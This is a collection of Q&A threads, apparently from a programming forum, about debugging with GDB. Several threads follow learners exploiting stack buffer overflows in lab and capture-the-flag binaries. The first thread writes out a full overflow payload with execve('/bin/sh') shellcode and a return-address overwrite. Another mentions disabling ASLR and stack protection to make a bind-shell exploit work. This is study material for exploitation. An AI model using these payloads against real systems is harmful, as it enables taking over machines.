I'm trying to learn how buffer overflows work and how this can be used.
I'm solving a simple challenge (backdoorlabs echo challenge) by trying to exploit a supplied binary file.
(see: http://hack.bckdr.in/ECHO/echo)
I think I'm doing everything right (accoring to the guides and tutorials I have been reading) but still it is not working and driving me crazy for hours now already.
The bufferoverflow lets me over write the next instruction (eip).
(gdb) run <<< $(python -c 'print "A"*62+"BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
So I'm able to overwrite the next eip, now lets add some 21 bytes shell code which spawns a shell and try to find the address where it is.
(gdb) run <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒▒▒Qh//shh/bin▒▒
̀
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/100x $sp
0xbffff750: 0xe1f7c931 0x2f2f6851 0x2f686873 0x896e6962
0xbffff760: 0xcd0bb0e3 0xbfff0080 0xbffff80c 0xb7fff3d0
0xbffff770: 0x08048480 0xffffffff 0x0012efc4 0x080482d8
0xbffff780: 0x00000001 0xbffff7c0 0x0011eb25 0x0012fab0
Bingo the shellcode is right here loaded at 0xbffff750, so that is the adress we want to adress the eip to..
Until now everything looks right to me so I try it with the right values found.
(gdb) run <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
̀
Program received signal SIGSEGV, Segmentation fault.
0xbffff750 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.192.el6.i686
(gdb)
(gdb) x/i $eip
=> 0xbffff750: xor %ecx,%ecx
(gdb)
The eip got changed to the right adress and the shellcode is in place however when i try it in my shell it does not work and still segfaults as you can see.
[rick#TESTBOX tmp]$ ./vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
̀
Segmentation fault
[rick#TESTBOX tmp]$
Anyone here has some thoughts about this, sees an error or has any other ideas ?
As mentioned I'm a newbie trying to understand the basic principles and obviously I'm doing something wrong.
I think your problem is:
there is a difference between the real execution of a program and the gdb-controlled one.
You need to
predict this difference. And this question gives an example how to do it.
OR
I alse faced your problem months before. At that time, I observed this difference. But I did not use this way to find the difference, instead, I used the brute force way exampled in The Art of Exploitation 0x331: try different offsets with a shell script.
This question might help you in the future, which tells you how to turn off some security functions to allow you to attack.
Related
We're learning to use GDB in my Computer Architecture class. To do this we do most of our work by using SSH to connect to a raspberry pi. When running GDB on some code he gave us to debug though it ends with an error message on how it can't find raise.c
I've tried:
installing libc6, libc6-dbg (says they're already up-to-date)
apt-get source glibc (gives me: "You must put some 'source' URIs in your sources.list")
https://stackoverflow.com/a/48287761/12015458 (apt source returns same thing as the apt-get source above, the "find $PWD" command the user gave returns nothing)
I've tried looking for it manually where told it may be? (/lib/libc doesn't exist for me)
This is the code he gave us to try debugging on GDB:
#include <stdio.h>
main()
{
int x,y;
y=54389;
for (x=10; x>=0; x--)
y=y/x;
printf("%d\n",y);
}
However, whenever I run the code in GDB I get the following error:
Program received signal SIGFPE, Arithmetic exception.
__GI_raise (sig=8) at ../sysdeps/unix/sysv/linux/raise.c:50
50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
I asked him about it and he didn't really have any ideas on how to fix it.
It does not really matter that the source for raise() is not found. It would only show you the line where the exception is finally raised, but not the place where the error is triggered.
Run the erroneous program again in GDB. And when the exception is raised, investigate the call stack and the stackframes with GBDs commands. This is the point in your task, so I won't give you more than this hint.
If you're clever you can see the error in the given source just by looking at it. ;-)
When GDB does not know any symbol, you need to compile with the option -g to get debugger support.
EDIT
Now on a Windows system this is my log (please excuse the colouring, I didn't found a language selector for pure text):
D:\tmp\StackOverflow\so_027 > type crash1.c
#include <stdio.h>
main()
{
int x,y;
y=54389;
for (x=10; x>=0; x--)
y=y/x;
printf("%d\n",y);
}
D:\tmp\StackOverflow\so_027 > gcc crash1.c -g -o crash1.out
crash1.c:2:1: warning: return type defaults to 'int' [-Wimplicit-int]
main()
^~~~
D:\tmp\StackOverflow\so_027 > dir
[...cut...]
04.09.2019 08:33 144 crash1.c
04.09.2019 08:40 54.716 crash1.out
D:\tmp\StackOverflow\so_027 > gdb crash1.out
GNU gdb (GDB) 8.1
[...cut...]
This GDB was configured as "x86_64-w64-mingw32".
[...cut...]
Reading symbols from crash1.out...done.
(gdb) run
Starting program: D:\tmp\StackOverflow\so_027\crash1.out
[New Thread 4520.0x28b8]
[New Thread 4520.0x33f0]
Thread 1 received signal SIGFPE, Arithmetic exception.
0x0000000000401571 in main () at crash1.c:7
7 y=y/x;
(gdb) backtrace
#0 0x0000000000401571 in main () at crash1.c:7
(gdb) help stack
Examining the stack.
The stack is made up of stack frames. Gdb assigns numbers to stack frames
counting from zero for the innermost (currently executing) frame.
At any time gdb identifies one frame as the "selected" frame.
Variable lookups are done with respect to the selected frame.
When the program being debugged stops, gdb selects the innermost frame.
The commands below can be used to select other frames by number or address.
List of commands:
backtrace -- Print backtrace of all stack frames
bt -- Print backtrace of all stack frames
down -- Select and print stack frame called by this one
frame -- Select and print a stack frame
return -- Make selected stack frame return to its caller
select-frame -- Select a stack frame without printing anything
up -- Select and print stack frame that called this one
Type "help" followed by command name for full documentation.
Type "apropos word" to search for commands related to "word".
Command name abbreviations are allowed if unambiguous.
(gdb) next
Thread 1 received signal SIGFPE, Arithmetic exception.
0x0000000000401571 in main () at crash1.c:7
7 y=y/x;
(gdb) next
[Inferior 1 (process 4520) exited with code 030000000224]
(gdb) next
The program is not being run.
(gdb) quit
D:\tmp\StackOverflow\so_027 >
Well, it marks directly the erroneous source line. That is different to your environment as you use a Raspi. However, it shows you some GDB commands to try.
Concerning your video:
It is clear that inside raise() you can't access x. That's why GDB moans about it.
If an exception is raised usually the program is about to quit. So there is no value in stepping forward.
Instead, as shown in my log, use GDB commands to investigate the stack frames. I think this is the issue you are about to learn.
BTW, do you know that you should be able to copy the screen content? This will make reading so much easier for us.
From a practical standpoint the other answer is correct, but if you do want the libc sources:
apt-get source is the right way to get the sources of libc, but yes, you do need to have source repositories configured in /etc/apt/sources.list.
If you're using Ubuntu, see the deb-src lines in https://help.ubuntu.com/community/Repositories/CommandLine
For debian, see https://wiki.debian.org/SourcesList#Example_sources.list
Then apt-get source should work. Remember to tell GDB where those sources are using the "directory" command.
I'm trying to complete a tutorial about exploiting a buffer overflow, https://www.youtube.com/watch?v=hJ8IwyhqzD4. Everything seems to work, except at the end, the '/bin/sh' program isn't run, though I can see the no-op symbols and '/bin/sh' text.
The message should read "Process is executing new program: /bin/sh", but instead I get:
Program received signal SIGILL, Illegal instruction.
0xb7e30a00 in __libc_start_main (main=0x804844d <main>, argc=3,
argv=0xbffff0a4, init=0x8048490 <__libc_csu_init>,
fini=0x8048500 <__libc_csu_fini>, rtld_fini=0xb7fed180 <_dl_fini>,
stack_end=0xbffff09c) at libc-start.c:246
246 libc-start.c: No such file or directory.
I also get this same message when trying to find the edge of the buffer with this command in gdb:
run $(python -c "print('A'*268)").
Any help understanding this error is greatly appreciated.
Michael
My program is multi thread. i got a core file and when i try to debug it i got this.
Program terminated with signal 11, Segmentation fault.
#0 memcpy () at ../sysdeps/x86_64/memcpy.S:91
91 movl %ecx, (%rdi)
Missing separate debuginfos, use: debuginfo-install libssh2-1.8.0-2.0.cf.rhel6.x86_64
(gdb) bt
#0 memcpy () at ../sysdeps/x86_64/memcpy.S:91
#1 0x00007f981b342feb in ?? ()
#2 0x00000000025f1ef0 in ?? ()
#3 0x00000000025edef0 in ?? ()
#4 0x00007fff4b65a810 in ?? ()
#5 0x0000000000000001 in ?? ()
#6 0x00000000025cb800 in ?? ()
#7 0x00000000025ccea0 in ?? ()
#8 0x0000000000000000 in ?? ()
Why the bt infos are "???" Can i identify which thread and where case the seg fault?
Thank you.
In order to run gdb and make the best use of it, firstly, you need to compile your source with the -g or -ggdb3 option of gcc in the following way:
gcc -ggdb3 sample.c -o sample
After this you will get an executable or binary file which you can execute. Upon execution the program will generate a segfault and a coredump will be created. You can use this core file in the following way with gdb to obtain the backtrace:
gdb ./sample /path/to/core/file
You can even launch your program using gdb without actually executing it separately and generating the core file explicitly. If you want to do this, execute the following command:
gdb ./sample
The "??" entries are where symbol translation failed. Stack walking – which produces the stack trace – can also fail. In that case you'll likely see a single valid frame, then a small number of bogus addresses. If symbols or stacks are too badly broken to make sense of the stack trace, then there are usually ways to fix it: installing debug info packages (giving gdb more symbols, and letting it do DWARF-based stack walks), or recompiling the software from source with frame pointers and debugging information (-fno-omit-frame-pointer -g).
I have a program that crashes with a
segfault at 1 ip 0000000000000001 sp 0000000008077d60 error 14
whenever it's not connected to a real terminal, e.g. ./program > log.txt & will crash. Running it normally doesn't lead to this strange behavior.
I wanted to see if gdb can help me finding the cause for this, but of course just running it in gdb won't trigger the bug.
What does however is
echo r | gdb ./program
But then gdb will immediately exit when the program crashes:
Program received signal SIGSEGV, Segmentation fault.
0x00000001 in ?? ()
(gdb) quit
A debugging session is active.
Inferior 1 [process 15434] will be killed.
Quit anyway? (y or n) [answered Y; input not from terminal]
I've tried echo -e "r\nbt" | gdb already, but it won't behave any different.
Just do:
gdb ./program
and once you're in there, do:
run < log.txt
to direct in your input, or:
run > log.txt
to redirect the output, as desired.
I am trying to learn how to do buffer overflows by following this tutorial: http://www.ouah.org/readmeneu.htm but I can't get the exploit working.
Sources, exploit.c: http://pastebin.com/b95G2KK7 and server.c: http://pastebin.com/PM4GdcT7 . The shellcode that is being used is http://pastebin.com/fuGgDeAH .
I modified the exploit.c and the server.c to get them running.
Compiled server.c with -fno-stack-protector and set /proc/sys/kernel/randomize_va_space to 0. Also I tested the shellcode (gcc shellcode.c -z execstack; ./a.out; netcat 127.0.0.1 64713) and it works.
From what I understand the exploit.c does the following:
Fill buffer with NOP
Put shellcode in the middle of the buffer
Fill the end of the buffer with the wanted RET (0xbfff620)
Send the buffer (incl. shellcode)
The RET of the program then should execute the shellcode
So I load gdb and run the server program.
When executing the exploit program it gives a segmentation error and returns the right RET address.
Program received signal SIGSEGV, Segmentation fault.
0xbffff620 in ?? ()
The output of (gdb) 'x/400bx $esp-200' can be seen at the url: http://pastebin.com/bCqphFNn it looks correct..
Unfortunately the program does not open a port on 127.0.0.1 64713.
(gdb) show stack shows me:
eip = 0xbffff620; saved eip 0x90909090
called by frame at 0xbffff62c
Arglist at 0xbffff62c, args:
Locals at 0xbffff62c, Previous frame's sp is 0xbffff628
Saved registers:
ebp at 0xbffff620, eip at 0xbffff624
I'm not sure how to continue now; how can I get the exploit working? What am I missing?
* Updated *
I've compiled the server.c using the (-g) and the (-z execstack) options. When working from gdb: the exploit does seem to work (it opens a port on 64713). But when I try to connect to that port using nc or telnet the server.c receives a SIGSEGV signal (on 0xbffff6fc); the port 64713 is still open but does not respond to any commands..
Without gdb: the server.c still receives a segmentation fault when ./exploit is executed.. no port is opened.